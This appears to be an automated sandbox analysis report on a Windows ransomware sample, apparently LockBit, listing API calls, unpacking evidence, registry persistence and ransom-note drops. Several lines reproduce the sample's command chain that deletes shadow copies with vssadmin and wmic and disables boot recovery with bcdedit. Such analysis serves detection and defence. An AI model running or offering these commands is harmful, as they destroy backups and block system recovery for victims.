Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004C3430
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004D0C30
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004304C0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004C44D0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004E04D0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00450480
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00452D40
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0045BD40
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004BE540
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004DFD40
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004DC540
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004B8D70
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004D7510
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004D7D10
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0043BD30
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0049EDC0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004A0DC0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00430DE0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00457580
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004A8590
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004C1E40
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00499660
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00457E70
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00456E70
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00454E10
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004ACE30
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004306C0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004A2EC0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0041B6E0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0042F6E0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0043E6F0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004A5E80
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0042AEA0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00448EB0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004BEF40
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004CDF50
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004D8F50
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0049CF60
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0049DF70
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004CCF70
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004A7F10
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004B8720
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004C57D0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004A4FE0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004DE7E0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00447FF0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00458FF0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004D17F0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0042DFA0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004BA7B0

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BC870 wsprintfW,wsprintfW,NtCreateMutant,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BB000 NtFreeVirtualMemory,NtFreeVirtualMemory,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BB140 GetTokenInformation,GetTokenInformation,NtClose,AllocateAndInitializeSid,EqualSid,FreeSid,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C3120 NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,NtClose,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B19D0 NtQueryInformationToken,NtClose,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C29A0 GetShellWindow,GetWindowThreadProcessId,OpenProcess,DuplicateToken,SetThreadToken,SetThreadToken,NtClose,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BA300 GlobalMemoryStatusEx,Sleep,CreateThread,CreateThread,NtSetInformationThread,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BEB10 LookupPrivilegeValueA,LookupPrivilegeValueA,NtAdjustPrivilegesToken,NtAdjustPrivilegesToken,NtClose,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A5B30 NtSetIoCompletion,NtWaitForSingleObject,NtClose,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BABA0 NtAllocateVirtualMemory,NtAllocateVirtualMemory,GlobalMemoryStatusEx,Sleep,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004AAC10 LoadLibraryA,wsprintfW,wsprintfW,NtCreateFile,NtWriteFile,NtCreateKey,NtCreateKey,NtSetValueKey,LoadLibraryA,GetProcAddress,SHChangeNotify,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049EDC0 wsprintfW,RegCreateKeyExW,RegCreateKeyExW,RegQueryValueExA,RegQueryValueExA,RegQueryValueExA,RegQueryValueExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegSetValueExA,RegCloseKey,RegCloseKey,wsprintfW,NtSetInformationThread,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A0DC0 NtCreateFile,NtCreateFile,NtSetInformationFile,NtSetInformationFile,PathFindExtensionW,CharLowerW,NtReadFile,Sleep,PathRemoveFileSpecW,GetFileAttributesW,GetFileAttributesW,RtlDosPathNameToNtPathName_U,NtCreateFile,NtSetInformationFile,NtSetInformationFile,NtWriteFile,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C1E40 CreateToolhelp32Snapshot,CreateToolhelp32Snapshot,Process32FirstW,Process32FirstW,OpenProcess,NtOpenProcessToken,NtQueryInformationToken,DuplicateToken,SetThreadToken,SetThreadToken,NtClose,NtClose,NtClose,Process32NextW,Process32NextW,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00457E70 NtOpenFile,NtQueryInformationFile,NtQueryInformationFile,NtQuerySystemInformation,wsprintfA,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A5E80 NtRemoveIoCompletion,WSAAddressToStringW,WSAAddressToStringW,SetEvent,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A7F10 socket,socket,bind,bind,CreateEventW,NtSetInformationFile,htons,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BFF90 EntryPoint,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,NtFreeVirtualMemory,NtClose,NtSetInformationProcess,RtlAdjustPrivilege,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00415040 NtCreateFile,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00429840 NtSetInformationProcess,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00415870 NtCreateKey,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00415960 NtSetValueKey,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00415130 NtSetInformationFile,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00411130 NtOpenProcessToken,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C31D0 NtOpenThreadToken,DuplicateToken,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00415220 NtReadFile,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00411220 NtQueryInformationToken,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004132D0 NtQuerySystemInformation,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00415310 NtWriteFile,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00411310 NtClose,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004133C0 NtQueryInformationFile,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A2B80 NtSetIoCompletion,NtWaitForSingleObject,NtClose,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00415400 NtCreateIoCompletion,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004154F0 NtSetInformationThread,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004134B0 NtOpenFile,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004BB000 NtFreeVirtualMemory,NtFreeVirtualMemory,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004BB140 GetTokenInformation,GetTokenInformation,NtClose,AllocateAndInitializeSid,EqualSid,FreeSid,ExitProcess,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004B19D0 NtQueryInformationToken,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004BC380 CreateWellKnownSid,CheckTokenMembership,NtQueryInformationToken,CheckTokenMembership,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004BABA0 NtAllocateVirtualMemory,NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004BFF90 EntryPoint,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,NtFreeVirtualMemory,NtClose,NtSetInformationProcess,RtlAdjustPrivilege,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004B5FA0 NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00429840 NtSetInformationProcess,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00411130 NtOpenProcessToken,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00411220 NtQueryInformationToken,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004132D0 NtQuerySystemInformation,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00411310 NtClose,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004A5B30 NtClose,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004A2B80 NtClose,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00428D00 NtFreeVirtualMemory,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004C1E40 NtOpenProcessToken,NtClose,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00457E70 NtQuerySystemInformation,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00415F00 NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00428FD0 NtOpenProcess,

Source: Pna3t7DeL3.exe	ReversingLabs: Detection: 96%
Source: Pna3t7DeL3.exe	Virustotal: Detection: 78%

Source: Pna3t7DeL3.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\Pna3t7DeL3.exe C:\Users\user\Desktop\Pna3t7DeL3.exe
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: unknown	Process created: C:\Users\user\Desktop\Pna3t7DeL3.exe "C:\Users\user\Desktop\Pna3t7DeL3.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: unknown	Process created: C:\Users\user\Desktop\Pna3t7DeL3.exe "C:\Users\user\Desktop\Pna3t7DeL3.exe"
Source: unknown	Process created: C:\Users\user\Desktop\Pna3t7DeL3.exe "C:\Users\user\Desktop\Pna3t7DeL3.exe"
Source: unknown	Process created: C:\Users\user\Desktop\Pna3t7DeL3.exe "C:\Users\user\Desktop\Pna3t7DeL3.exe"
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4a04656d-52aa-49de-8a09-cb178760e748}\InProcServer32

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

File created: C:\documents and settings\user\local settings\temp\Restore-My-Files.txt

Jump to behavior

Source: classification engine

Classification label: mal100.rans.spre.expl.evad.winEXE@30/1026@0/100

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

Code function: 0_2_00443160 CoCreateInstance,CoSetProxyBlanket,LocalFree,

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

File read: C:\$RECYCLE.BIN\S-1-5-21-3853321935-2125563209-4053062332-1002\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

Code function: 0_2_0045C960 lstrcmpiW,lstrcmpiW,lstrcmpiW,RtlLeaveCriticalSection,wsprintfW,CreateFileW,CreateFileW,SHEmptyRecycleBinW,SHEmptyRecycleBinW,GetDiskFreeSpaceW,GetDiskFreeSpaceW,GetDiskFreeSpaceExW,GetDiskFreeSpaceExW,SetThreadUILanguage,StrFormatByteSizeW,StrFormatByteSizeW,StrFormatByteSizeW,GetCurrentThread,SetWindowLongW,DeleteFileW,DeleteFileW,

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

Code function: 0_2_004C1E40 CreateToolhelp32Snapshot,CreateToolhelp32Snapshot,Process32FirstW,Process32FirstW,OpenProcess,NtOpenProcessToken,NtQueryInformationToken,DuplicateToken,SetThreadToken,SetThreadToken,NtClose,NtClose,NtClose,Process32NextW,Process32NextW,

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7044:120:WilError_01

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

File created: C:\program files\microsoft office\office16\1033\Restore-My-Files.txt

Jump to behavior

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

File written: C:\$RECYCLE.BIN\S-1-5-21-3853321935-2125563209-4053062332-1002\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Directory created: C:\program files\microsoft office\office16\1033\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Directory created: C:\program files\microsoft office\office16\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Directory created: C:\program files\microsoft office\office16\onenote\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Directory created: C:\program files\unp\logs\Restore-My-Files.txt	Jump to behavior
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Directory created: C:\program files\unp\updatenotificationmgr\Restore-My-Files.txt	Jump to behavior

Source: Pna3t7DeL3.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\plug_ins\Multimedia\MPP\Flash.pdb source: flash.mpp.lockbit.0.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\plug_ins\ppklite.pdb source: ppklite.api.lockbit.0.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\plug_ins\Annots.pdb source: annots.api.lockbit.0.dr
Source:	Binary string: datamatrixpmp.pdb source: datamatrix.pmp.lockbit.0.dr
Source:	Binary string: C:\dunejaluze\womev18-rabawije\70\tajonexame\cus\hekukige.pdb source: Pna3t7DeL3.exe
Source:	Binary string: datamatrixpmp.pdb44 source: datamatrix.pmp.lockbit.0.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\plug_ins\Multimedia\MPP\Flash.pdb885 source: flash.mpp.lockbit.0.dr
Source:	Binary string: (VC:\dunejaluze\womev18-rabawije\70\tajonexame\cus\hekukige.pdb source: Pna3t7DeL3.exe

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Unpacked PE file: 0.2.Pna3t7DeL3.exe.400000.0.unpack
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Unpacked PE file: 10.2.Pna3t7DeL3.exe.400000.0.unpack
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Unpacked PE file: 18.2.Pna3t7DeL3.exe.400000.0.unpack
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Unpacked PE file: 26.2.Pna3t7DeL3.exe.400000.0.unpack
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Unpacked PE file: 34.2.Pna3t7DeL3.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Unpacked PE file: 0.2.Pna3t7DeL3.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.data:W;.idata:R;
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Unpacked PE file: 10.2.Pna3t7DeL3.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.data:W;.idata:R;
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Unpacked PE file: 18.2.Pna3t7DeL3.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.data:W;.idata:R;
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Unpacked PE file: 26.2.Pna3t7DeL3.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.data:W;.idata:R;
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Unpacked PE file: 34.2.Pna3t7DeL3.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.data:W;.idata:R;

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0040903A push ds; iretd
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00406B46 push 00000000h; ret
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0043D570 push eax; ret
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0043D570 push eax; ret
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0040903A push ds; iretd
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00406B46 push 00000000h; ret
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0043D570 push eax; ret
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0043D570 push eax; ret
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00405586 push ds; iretd
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00405759 push ebp; retf
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004087E6 push FEC5FF98h; iretd
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_02E32AE2 push FEC5FF98h; iretd
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_02E2FAD9 push ds; iretd
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_02E2FB6A push ebp; retf
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_02E2E902 push edx; ret
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_02E30E1D push 00000000h; ret
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_02E2DD47 push 414182B8h; ret

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

Code function: 0_2_00497060 GetModuleHandleA,GetProcAddress,GetProcAddress,OpenSCManagerA,OpenSCManagerA,GetTickCount,OpenServiceA,OpenServiceA,QueryServiceStatusEx,CloseServiceHandle,wsprintfA,CloseServiceHandle,Sleep,QueryServiceStatusEx,CloseServiceHandle,wsprintfA,CloseServiceHandle,GetTickCount,CloseServiceHandle,Sleep,QueryServiceStatusEx,GetTickCount,CloseServiceHandle,wsprintfA,CloseServiceHandle,LoadLibraryA,GetProcAddress,GetProcAddress,ShellExecuteEx,ShellExecuteEx,Sleep,Sleep,CreateProcessA,CreateProcessA,Sleep,Sleep,Sleep,Sleep,

Persistence and Installation Behavior

Uses bcdedit to modify the Windows boot settings

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {default} recoveryenabled no

Boot Survival

Creates autostart registry keys with suspicious names

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run {B35BA88F-AAAA-7B1F-859C-850F9029E88E}

Jump to behavior

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run {B35BA88F-AAAA-7B1F-859C-850F9029E88E}			Jump to behavior
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run {B35BA88F-AAAA-7B1F-859C-850F9029E88E}			Jump to behavior

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe TID: 4952

Thread sleep count: 104 > 30

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

Code function: GetAdaptersInfo,GetAdaptersInfo,GetAdaptersInfo,GetAdaptersInfo,inet_addr,inet_addr,htonl,htonl,htonl,

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File Volume queried: C:\ FullSizeInformation
